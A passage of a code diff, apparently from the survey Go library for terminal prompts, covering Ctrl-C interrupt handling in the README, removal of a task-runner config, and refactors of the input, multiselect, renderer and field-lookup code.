Ordinarily, when you type Ctrl-C, the terminal recognizes this as the QUIT button and delivers a SIGINT signal to the process, which terminates it.
|
||||
However, Survey temporarily configures the terminal to deliver control codes as ordinary input bytes.
|
||||
When Survey reads a ^C byte (ASCII \x03, "end of text"), it interrupts the current survey and returns a
|
||||
`github.com/AlecAivazis/survey/v2/terminal.InterruptErr` from `Ask` or `AskOne`.
|
||||
If you want to stop the process, handle the returned error in your code:
|
||||
|
||||
```go
|
||||
err := survey.AskOne(prompt, &myVar)
|
||||
if err == terminal.InterruptErr {
|
||||
fmt.Println("interrupted")
|
||||
|
||||
os.Exit(0)
|
||||
} else if err != nil {
|
||||
panic(err)
|
||||
if err != nil {
|
||||
if err == terminal.InterruptErr {
|
||||
log.Fatal("interrupted")
|
||||
}
|
||||
...
|
||||
}
|
||||
```
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
task "install-deps" {
|
||||
description = "Install all of package dependencies"
|
||||
pipeline = [
|
||||
"go get {{.files}}",
|
||||
]
|
||||
}
|
||||
|
||||
task "tests" {
|
||||
description = "Run the test suite"
|
||||
command = "go test {{.files}}"
|
||||
environment {
|
||||
GOFLAGS = "-mod=vendor"
|
||||
}
|
||||
}
|
||||
|
||||
variables {
|
||||
files = "$(go list -v ./... | grep -iEv \"tests|examples\")"
|
||||
}
|
||||
|
||||
+4
-4
@@ -49,8 +49,10 @@ func yesNo(t bool) string {
|
||||
func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
|
||||
cursor := c.NewCursor()
|
||||
rr := c.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
|
||||
// start waiting for input
|
||||
for {
|
||||
@@ -107,8 +109,6 @@ func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
|
||||
}
|
||||
return answer, nil
|
||||
}
|
||||
// should not get here
|
||||
return c.Default, nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
+3
-3
@@ -29,7 +29,7 @@ var TemplateFuncsNoColor = map[string]interface{}{
|
||||
//for colored output. The second string does not contain escape codes
|
||||
//and can be used by the renderer for layout purposes.
|
||||
func RunTemplate(tmpl string, data interface{}) (string, string, error) {
|
||||
tPair, err := getTemplatePair(tmpl)
|
||||
tPair, err := GetTemplatePair(tmpl)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
@@ -52,12 +52,12 @@ var (
|
||||
memoMutex = &sync.RWMutex{}
|
||||
)
|
||||
|
||||
//getTemplatePair returns a pair of compiled templates where the
|
||||
//GetTemplatePair returns a pair of compiled templates where the
|
||||
//first template is generated for user-facing output and the
|
||||
//second is generated for use by the renderer. The second
|
||||
//template does not contain any color escape codes, whereas
|
||||
//the first template may or may not depending on DisableColor.
|
||||
func getTemplatePair(tmpl string) ([2]*template.Template, error) {
|
||||
func GetTemplatePair(tmpl string) ([2]*template.Template, error) {
|
||||
memoMutex.RLock()
|
||||
if t, ok := memoizedGetTemplate[tmpl]; ok {
|
||||
memoMutex.RUnlock()
|
||||
|
||||
+37
-19
@@ -24,6 +24,11 @@ type OptionAnswer struct {
|
||||
Index int
|
||||
}
|
||||
|
||||
type reflectField struct {
|
||||
value reflect.Value
|
||||
fieldType reflect.StructField
|
||||
}
|
||||
|
||||
func OptionAnswerList(incoming []string) []OptionAnswer {
|
||||
list := []OptionAnswer{}
|
||||
for i, opt := range incoming {
|
||||
@@ -63,13 +68,12 @@ func WriteAnswer(t interface{}, name string, v interface{}) (err error) {
|
||||
}
|
||||
|
||||
// get the name of the field that matches the string we were given
|
||||
fieldIndex, err := findFieldIndex(elem, name)
|
||||
field, _, err := findField(elem, name)
|
||||
// if something went wrong
|
||||
if err != nil {
|
||||
// bubble up
|
||||
return err
|
||||
}
|
||||
field := elem.Field(fieldIndex)
|
||||
// handle references to the Settable interface aswell
|
||||
if s, ok := field.Interface().(Settable); ok {
|
||||
// use the interface method
|
||||
@@ -156,37 +160,49 @@ func IsFieldNotMatch(err error) (string, bool) {
|
||||
|
||||
// BUG(AlecAivazis): the current implementation might cause weird conflicts if there are
|
||||
// two fields with same name that only differ by casing.
|
||||
func findFieldIndex(s reflect.Value, name string) (int, error) {
|
||||
// the type of the value
|
||||
sType := s.Type()
|
||||
func findField(s reflect.Value, name string) (reflect.Value, reflect.StructField, error) {
|
||||
|
||||
fields := flattenFields(s)
|
||||
|
||||
// first look for matching tags so we can overwrite matching field names
|
||||
for i := 0; i < sType.NumField(); i++ {
|
||||
// the field we are current scanning
|
||||
field := sType.Field(i)
|
||||
|
||||
for _, f := range fields {
|
||||
// the value of the survey tag
|
||||
tag := field.Tag.Get(tagName)
|
||||
tag := f.fieldType.Tag.Get(tagName)
|
||||
// if the tag matches the name we are looking for
|
||||
if tag != "" && tag == name {
|
||||
// then we found our index
|
||||
return i, nil
|
||||
return f.value, f.fieldType, nil
|
||||
}
|
||||
}
|
||||
|
||||
// then look for matching names
|
||||
for i := 0; i < sType.NumField(); i++ {
|
||||
// the field we are current scanning
|
||||
field := sType.Field(i)
|
||||
|
||||
for _, f := range fields {
|
||||
// if the name of the field matches what we're looking for
|
||||
if strings.ToLower(field.Name) == strings.ToLower(name) {
|
||||
return i, nil
|
||||
if strings.EqualFold(f.fieldType.Name, name) {
|
||||
return f.value, f.fieldType, nil
|
||||
}
|
||||
}
|
||||
|
||||
// we didn't find the field
|
||||
return -1, errFieldNotMatch{name}
|
||||
return reflect.Value{}, reflect.StructField{}, errFieldNotMatch{name}
|
||||
}
|
||||
|
||||
func flattenFields(s reflect.Value) []reflectField {
|
||||
sType := s.Type()
|
||||
numField := sType.NumField()
|
||||
fields := make([]reflectField, 0, numField)
|
||||
for i := 0; i < numField; i++ {
|
||||
fieldType := sType.Field(i)
|
||||
field := s.Field(i)
|
||||
|
||||
if field.Kind() == reflect.Struct && fieldType.Anonymous {
|
||||
// field is a promoted structure
|
||||
fields = append(fields, flattenFields(field)...)
|
||||
continue
|
||||
}
|
||||
fields = append(fields, reflectField{field, fieldType})
|
||||
}
|
||||
return fields
|
||||
}
|
||||
|
||||
// isList returns true if the element is something we can Len()
|
||||
@@ -343,7 +359,9 @@ func copy(t reflect.Value, v reflect.Value) (err error) {
|
||||
// otherwise it could be an array
|
||||
case reflect.Array:
|
||||
// set the index to the appropriate value
|
||||
copy(t.Slice(i, i+1).Index(0), v.Index(i))
|
||||
if err := copy(t.Slice(i, i+1).Index(0), v.Index(i)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
||||
+7
-3
@@ -101,8 +101,10 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
|
||||
|
||||
// start reading runes from the standard in
|
||||
rr := e.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
|
||||
cursor := e.NewCursor()
|
||||
cursor.Hide()
|
||||
@@ -147,7 +149,9 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer os.Remove(f.Name())
|
||||
defer func() {
|
||||
_ = os.Remove(f.Name())
|
||||
}()
|
||||
|
||||
// write utf8 BOM header
|
||||
// The reason why we do this is because notepad.exe on Windows determines the
|
||||
|
||||
+104
-80
@@ -1,6 +1,8 @@
|
||||
package survey
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2/core"
|
||||
"github.com/AlecAivazis/survey/v2/terminal"
|
||||
)
|
||||
@@ -19,8 +21,8 @@ type Input struct {
|
||||
Default string
|
||||
Help string
|
||||
Suggest func(toComplete string) []string
|
||||
typedAnswer string
|
||||
answer string
|
||||
typedAnswer string
|
||||
options []core.OptionAnswer
|
||||
selectedIndex int
|
||||
showingHelp bool
|
||||
@@ -58,85 +60,90 @@ var InputQuestionTemplate = `
|
||||
{{- if and .Suggest }}{{color "cyan"}}{{ print .Config.SuggestInput }} for suggestions{{end -}}
|
||||
]{{color "reset"}} {{end}}
|
||||
{{- if .Default}}{{color "white"}}({{.Default}}) {{color "reset"}}{{end}}
|
||||
{{- .Answer -}}
|
||||
{{- end}}`
|
||||
|
||||
func (i *Input) OnChange(key rune, config *PromptConfig) (bool, error) {
|
||||
if key == terminal.KeyEnter || key == '\n' {
|
||||
if i.answer != config.HelpInput || i.Help == "" {
|
||||
// we're done
|
||||
return true, nil
|
||||
} else {
|
||||
i.answer = ""
|
||||
i.showingHelp = true
|
||||
}
|
||||
} else if key == terminal.KeyDeleteWord || key == terminal.KeyDeleteLine {
|
||||
i.answer = ""
|
||||
} else if key == terminal.KeyEscape && i.Suggest != nil {
|
||||
if len(i.options) > 0 {
|
||||
func (i *Input) onRune(config *PromptConfig) terminal.OnRuneFn {
|
||||
return terminal.OnRuneFn(func(key rune, line []rune) ([]rune, bool, error) {
|
||||
if i.options != nil && (key == terminal.KeyEnter || key == '\n') {
|
||||
return []rune(i.answer), true, nil
|
||||
} else if i.options != nil && key == terminal.KeyEscape {
|
||||
i.answer = i.typedAnswer
|
||||
}
|
||||
i.options = nil
|
||||
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
|
||||
if i.selectedIndex == 0 {
|
||||
i.selectedIndex = len(i.options) - 1
|
||||
} else {
|
||||
i.selectedIndex--
|
||||
}
|
||||
i.answer = i.options[i.selectedIndex].Value
|
||||
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
|
||||
if i.selectedIndex == len(i.options)-1 {
|
||||
i.options = nil
|
||||
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
|
||||
if i.selectedIndex == 0 {
|
||||
i.selectedIndex = len(i.options) - 1
|
||||
} else {
|
||||
i.selectedIndex--
|
||||
}
|
||||
i.answer = i.options[i.selectedIndex].Value
|
||||
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
|
||||
if i.selectedIndex == len(i.options)-1 {
|
||||
i.selectedIndex = 0
|
||||
} else {
|
||||
i.selectedIndex++
|
||||
}
|
||||
i.answer = i.options[i.selectedIndex].Value
|
||||
} else if key == terminal.KeyTab && i.Suggest != nil {
|
||||
i.answer = string(line)
|
||||
i.typedAnswer = i.answer
|
||||
options := i.Suggest(i.answer)
|
||||
i.selectedIndex = 0
|
||||
} else {
|
||||
i.selectedIndex++
|
||||
}
|
||||
i.answer = i.options[i.selectedIndex].Value
|
||||
} else if key == terminal.KeyTab && i.Suggest != nil {
|
||||
options := i.Suggest(i.answer)
|
||||
i.selectedIndex = 0
|
||||
i.typedAnswer = i.answer
|
||||
if len(options) > 0 {
|
||||
if len(options) == 0 {
|
||||
return line, false, nil
|
||||
}
|
||||
|
||||
i.answer = options[0]
|
||||
if len(options) == 1 {
|
||||
i.typedAnswer = i.answer
|
||||
i.options = nil
|
||||
} else {
|
||||
i.options = core.OptionAnswerList(options)
|
||||
}
|
||||
}
|
||||
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
|
||||
if i.answer != "" {
|
||||
i.answer = i.answer[0 : len(i.answer)-1]
|
||||
}
|
||||
} else if key >= terminal.KeySpace {
|
||||
i.answer += string(key)
|
||||
i.typedAnswer = i.answer
|
||||
i.options = nil
|
||||
}
|
||||
} else {
|
||||
if i.options == nil {
|
||||
return line, false, nil
|
||||
}
|
||||
|
||||
pageSize := config.PageSize
|
||||
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
|
||||
err := i.Render(
|
||||
InputQuestionTemplate,
|
||||
InputTemplateData{
|
||||
Input: *i,
|
||||
Answer: i.answer,
|
||||
ShowHelp: i.showingHelp,
|
||||
SelectedIndex: idx,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
if key >= terminal.KeySpace {
|
||||
i.answer += string(key)
|
||||
}
|
||||
i.typedAnswer = i.answer
|
||||
|
||||
return err != nil, err
|
||||
i.options = nil
|
||||
}
|
||||
|
||||
pageSize := config.PageSize
|
||||
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
|
||||
err := i.Render(
|
||||
InputQuestionTemplate,
|
||||
InputTemplateData{
|
||||
Input: *i,
|
||||
Answer: i.answer,
|
||||
ShowHelp: i.showingHelp,
|
||||
SelectedIndex: idx,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
|
||||
if err == nil {
|
||||
err = readLineAgain
|
||||
}
|
||||
|
||||
return []rune(i.typedAnswer), true, err
|
||||
})
|
||||
}
|
||||
|
||||
var readLineAgain = errors.New("read line again")
|
||||
|
||||
func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
// render the template
|
||||
err := i.Render(
|
||||
InputQuestionTemplate,
|
||||
InputTemplateData{
|
||||
Input: *i,
|
||||
Config: config,
|
||||
Input: *i,
|
||||
Config: config,
|
||||
ShowHelp: i.showingHelp,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
@@ -145,34 +152,44 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
|
||||
// start reading runes from the standard in
|
||||
rr := i.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
cursor := i.NewCursor()
|
||||
cursor.Hide() // hide the cursor
|
||||
defer cursor.Show() // show the cursor when we're done
|
||||
if !config.ShowCursor {
|
||||
cursor.Hide() // hide the cursor
|
||||
defer cursor.Show() // show the cursor when we're done
|
||||
}
|
||||
|
||||
var line []rune
|
||||
|
||||
// start waiting for input
|
||||
for {
|
||||
r, _, err := rr.ReadRune()
|
||||
if err != nil {
|
||||
return "", err
|
||||
if i.options != nil {
|
||||
line = []rune{}
|
||||
}
|
||||
if r == terminal.KeyInterrupt {
|
||||
return "", terminal.InterruptErr
|
||||
}
|
||||
if r == terminal.KeyEndTransmission {
|
||||
break
|
||||
|
||||
line, err = rr.ReadLineWithDefault(0, line, i.onRune(config))
|
||||
if err == readLineAgain {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := i.OnChange(r, config)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if b {
|
||||
break
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
i.answer = string(line)
|
||||
// readline print an empty line, go up before we render the follow up
|
||||
cursor.Up(1)
|
||||
|
||||
// if we ran into the help string
|
||||
if i.answer == config.HelpInput && i.Help != "" {
|
||||
// show the help and prompt again
|
||||
i.showingHelp = true
|
||||
return i.Prompt(config)
|
||||
}
|
||||
|
||||
// if the line is empty
|
||||
@@ -190,13 +207,20 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
}
|
||||
|
||||
func (i *Input) Cleanup(config *PromptConfig, val interface{}) error {
|
||||
// use the default answer when cleaning up the prompt if necessary
|
||||
ans := i.answer
|
||||
if ans == "" && i.Default != "" {
|
||||
ans = i.Default
|
||||
}
|
||||
|
||||
// render the cleanup
|
||||
return i.Render(
|
||||
InputQuestionTemplate,
|
||||
InputTemplateData{
|
||||
Input: *i,
|
||||
ShowAnswer: true,
|
||||
Config: config,
|
||||
Answer: i.answer,
|
||||
Answer: ans,
|
||||
},
|
||||
)
|
||||
}
|
||||
+5
-3
@@ -50,8 +50,10 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
|
||||
// start reading runes from the standard in
|
||||
rr := i.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
|
||||
cursor := i.NewCursor()
|
||||
|
||||
@@ -60,7 +62,7 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
emptyOnce := false
|
||||
// get the next line
|
||||
for {
|
||||
line := []rune{}
|
||||
var line []rune
|
||||
line, err = rr.ReadLine(0)
|
||||
if err != nil {
|
||||
return string(line), err
|
||||
|
||||
+55
-34
@@ -45,21 +45,36 @@ type MultiSelectTemplateData struct {
|
||||
ShowHelp bool
|
||||
PageEntries []core.OptionAnswer
|
||||
Config *PromptConfig
|
||||
|
||||
// These fields are used when rendering an individual option
|
||||
CurrentOpt core.OptionAnswer
|
||||
CurrentIndex int
|
||||
}
|
||||
|
||||
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a multiselect option can be rendered individually
|
||||
func (m MultiSelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
|
||||
copy := m
|
||||
copy.CurrentIndex = ix
|
||||
copy.CurrentOpt = opt
|
||||
return copy
|
||||
}
|
||||
|
||||
var MultiSelectQuestionTemplate = `
|
||||
{{- define "option"}}
|
||||
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
|
||||
{{- if index .Checked .CurrentOpt.Index }}{{color .Config.Icons.MarkedOption.Format }} {{ .Config.Icons.MarkedOption.Text }} {{else}}{{color .Config.Icons.UnmarkedOption.Format }} {{ .Config.Icons.UnmarkedOption.Text }} {{end}}
|
||||
{{- color "reset"}}
|
||||
{{- " "}}{{- .CurrentOpt.Value}}
|
||||
{{end}}
|
||||
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
|
||||
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
|
||||
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
|
||||
{{- if .ShowAnswer}}{{color "cyan"}} {{.Answer}}{{color "reset"}}{{"\n"}}
|
||||
{{- else }}
|
||||
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select, <right> to all, <left> to none, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
|
||||
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select,{{- if not .Config.RemoveSelectAll }} <right> to all,{{end}}{{- if not .Config.RemoveSelectNone }} <left> to none,{{end}} type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
|
||||
{{- "\n"}}
|
||||
{{- range $ix, $option := .PageEntries}}
|
||||
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
|
||||
{{- if index $.Checked $option.Index }}{{color $.Config.Icons.MarkedOption.Format }} {{ $.Config.Icons.MarkedOption.Text }} {{else}}{{color $.Config.Icons.UnmarkedOption.Format }} {{ $.Config.Icons.UnmarkedOption.Text }} {{end}}
|
||||
{{- color "reset"}}
|
||||
{{- " "}}{{$option.Value}}{{"\n"}}
|
||||
{{- template "option" $.IterateOption $ix $option}}
|
||||
{{- end}}
|
||||
{{- end}}`
|
||||
|
||||
@@ -113,19 +128,20 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
|
||||
m.filter = ""
|
||||
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
|
||||
if m.filter != "" {
|
||||
m.filter = m.filter[0 : len(m.filter)-1]
|
||||
runeFilter := []rune(m.filter)
|
||||
m.filter = string(runeFilter[0 : len(runeFilter)-1])
|
||||
}
|
||||
} else if key >= terminal.KeySpace {
|
||||
m.filter += string(key)
|
||||
m.VimMode = false
|
||||
} else if key == terminal.KeyArrowRight {
|
||||
} else if !config.RemoveSelectAll && key == terminal.KeyArrowRight {
|
||||
for _, v := range options {
|
||||
m.checked[v.Index] = true
|
||||
}
|
||||
if !config.KeepFilter {
|
||||
m.filter = ""
|
||||
}
|
||||
} else if key == terminal.KeyArrowLeft {
|
||||
} else if !config.RemoveSelectNone && key == terminal.KeyArrowLeft {
|
||||
for _, v := range options {
|
||||
m.checked[v.Index] = false
|
||||
}
|
||||
@@ -158,18 +174,17 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
|
||||
// and we have modified the filter then we should move the page back!
|
||||
opts, idx := paginate(pageSize, options, m.selectedIndex)
|
||||
|
||||
tmplData := MultiSelectTemplateData{
|
||||
MultiSelect: *m,
|
||||
SelectedIndex: idx,
|
||||
Checked: m.checked,
|
||||
ShowHelp: m.showingHelp,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
}
|
||||
|
||||
// render the options
|
||||
m.Render(
|
||||
MultiSelectQuestionTemplate,
|
||||
MultiSelectTemplateData{
|
||||
MultiSelect: *m,
|
||||
SelectedIndex: idx,
|
||||
Checked: m.checked,
|
||||
ShowHelp: m.showingHelp,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
_ = m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
|
||||
}
|
||||
|
||||
func (m *MultiSelect) filterOptions(config *PromptConfig) []core.OptionAnswer {
|
||||
@@ -249,31 +264,37 @@ func (m *MultiSelect) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
opts, idx := paginate(pageSize, core.OptionAnswerList(m.Options), m.selectedIndex)
|
||||
|
||||
cursor := m.NewCursor()
|
||||
cursor.Hide() // hide the cursor
|
||||
defer cursor.Show() // show the cursor when we're done
|
||||
cursor.Save() // for proper cursor placement during selection
|
||||
cursor.Hide() // hide the cursor
|
||||
defer cursor.Show() // show the cursor when we're done
|
||||
defer cursor.Restore() // clear any accessibility offsetting on exit
|
||||
|
||||
tmplData := MultiSelectTemplateData{
|
||||
MultiSelect: *m,
|
||||
SelectedIndex: idx,
|
||||
Checked: m.checked,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
}
|
||||
|
||||
// ask the question
|
||||
err := m.Render(
|
||||
MultiSelectQuestionTemplate,
|
||||
MultiSelectTemplateData{
|
||||
MultiSelect: *m,
|
||||
SelectedIndex: idx,
|
||||
Checked: m.checked,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
err := m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
rr := m.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
|
||||
// start waiting for input
|
||||
for {
|
||||
r, _, _ := rr.ReadRune()
|
||||
r, _, err := rr.ReadRune()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if r == '\r' || r == '\n' {
|
||||
break
|
||||
}
|
||||
|
||||
+9
-4
@@ -44,14 +44,19 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if _, err := fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
rr := p.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
|
||||
// no help msg? Just return any response
|
||||
if p.Help == "" {
|
||||
@@ -61,7 +66,7 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
|
||||
cursor := p.NewCursor()
|
||||
|
||||
line := []rune{}
|
||||
var line []rune
|
||||
// process answers looking for help prompt answer
|
||||
for {
|
||||
line, err = rr.ReadLine('*')
|
||||
|
||||
+49
-10
@@ -7,7 +7,7 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2/core"
|
||||
"github.com/AlecAivazis/survey/v2/terminal"
|
||||
goterm "golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type Renderer struct {
|
||||
@@ -61,7 +61,9 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
|
||||
}
|
||||
|
||||
// send the message to the user
|
||||
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
|
||||
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// add the printed text to the rendered error buffer so we can cleanup later
|
||||
r.appendRenderedError(layoutOut)
|
||||
@@ -69,6 +71,14 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *Renderer) OffsetCursor(offset int) {
|
||||
cursor := r.NewCursor()
|
||||
for offset > 0 {
|
||||
cursor.PreviousLine(1)
|
||||
offset--
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Renderer) Render(tmpl string, data interface{}) error {
|
||||
// cleanup the currently rendered text
|
||||
lineCount := r.countLines(r.renderedText)
|
||||
@@ -82,7 +92,9 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
|
||||
}
|
||||
|
||||
// print the summary
|
||||
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
|
||||
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// add the printed text to the rendered text buffer so we can cleanup later
|
||||
r.AppendRenderedText(layoutOut)
|
||||
@@ -91,6 +103,21 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *Renderer) RenderWithCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx int) error {
|
||||
cursor := r.NewCursor()
|
||||
cursor.Restore() // clear any accessibility offsetting
|
||||
|
||||
if err := r.Render(tmpl, data); err != nil {
|
||||
return err
|
||||
}
|
||||
cursor.Save()
|
||||
|
||||
offset := computeCursorOffset(MultiSelectQuestionTemplate, data, opts, idx, r.termWidthSafe())
|
||||
r.OffsetCursor(offset)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// appendRenderedError appends text to the renderer's error buffer
|
||||
// which is used to track what has been printed. It is not exported
|
||||
// as errors should only be displayed via Error(config, error).
|
||||
@@ -119,26 +146,31 @@ func (r *Renderer) resetPrompt(lines int) {
|
||||
|
||||
func (r *Renderer) termWidth() (int, error) {
|
||||
fd := int(r.stdio.Out.Fd())
|
||||
termWidth, _, err := goterm.GetSize(fd)
|
||||
termWidth, _, err := term.GetSize(fd)
|
||||
return termWidth, err
|
||||
}
|
||||
|
||||
// countLines will return the count of `\n` with the addition of any
|
||||
// lines that have wrapped due to narrow terminal width
|
||||
func (r *Renderer) countLines(buf bytes.Buffer) int {
|
||||
func (r *Renderer) termWidthSafe() int {
|
||||
w, err := r.termWidth()
|
||||
if err != nil || w == 0 {
|
||||
// if we got an error due to terminal.GetSize not being supported
|
||||
// on current platform then just assume a very wide terminal
|
||||
w = 10000
|
||||
}
|
||||
return w
|
||||
}
|
||||
|
||||
// countLines will return the count of `\n` with the addition of any
|
||||
// lines that have wrapped due to narrow terminal width
|
||||
func (r *Renderer) countLines(buf bytes.Buffer) int {
|
||||
w := r.termWidthSafe()
|
||||
|
||||
bufBytes := buf.Bytes()
|
||||
|
||||
count := 0
|
||||
curr := 0
|
||||
delim := -1
|
||||
for curr < len(bufBytes) {
|
||||
var delim int
|
||||
// read until the next newline or the end of the string
|
||||
relDelim := bytes.IndexRune(bufBytes[curr:], '\n')
|
||||
if relDelim != -1 {
|
||||
@@ -148,8 +180,15 @@ func (r *Renderer) countLines(buf bytes.Buffer) int {
|
||||
delim = len(bufBytes) // no new line found, read rest of text
|
||||
}
|
||||
|
||||
// account for word wrapping
|
||||
count += int(utf8.RuneCount(bufBytes[curr:delim]) / w)
|
||||
if lineWidth := utf8.RuneCount(bufBytes[curr:delim]); lineWidth > w {
|
||||
// account for word wrapping
|
||||
count += lineWidth / w
|
||||
if (lineWidth % w) == 0 {
|
||||
// content whose width is exactly a multiplier of available width should not
|
||||
// count as having wrapped on the last line
|
||||
count -= 1
|
||||
}
|
||||
}
|
||||
curr = delim + 1
|
||||
}
|
||||
|
||||
|
||||
+67
-34
@@ -28,6 +28,7 @@ type Select struct {
|
||||
VimMode bool
|
||||
FilterMessage string
|
||||
Filter func(filter string, value string, index int) bool
|
||||
Description func(value string, index int) string
|
||||
filter string
|
||||
selectedIndex int
|
||||
useDefault bool
|
||||
@@ -42,10 +43,35 @@ type SelectTemplateData struct {
|
||||
Answer string
|
||||
ShowAnswer bool
|
||||
ShowHelp bool
|
||||
Description func(value string, index int) string
|
||||
Config *PromptConfig
|
||||
|
||||
// These fields are used when rendering an individual option
|
||||
CurrentOpt core.OptionAnswer
|
||||
CurrentIndex int
|
||||
}
|
||||
|
||||
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a select option can be rendered individually
|
||||
func (s SelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
|
||||
copy := s
|
||||
copy.CurrentIndex = ix
|
||||
copy.CurrentOpt = opt
|
||||
return copy
|
||||
}
|
||||
|
||||
func (s SelectTemplateData) GetDescription(opt core.OptionAnswer) string {
|
||||
if s.Description == nil {
|
||||
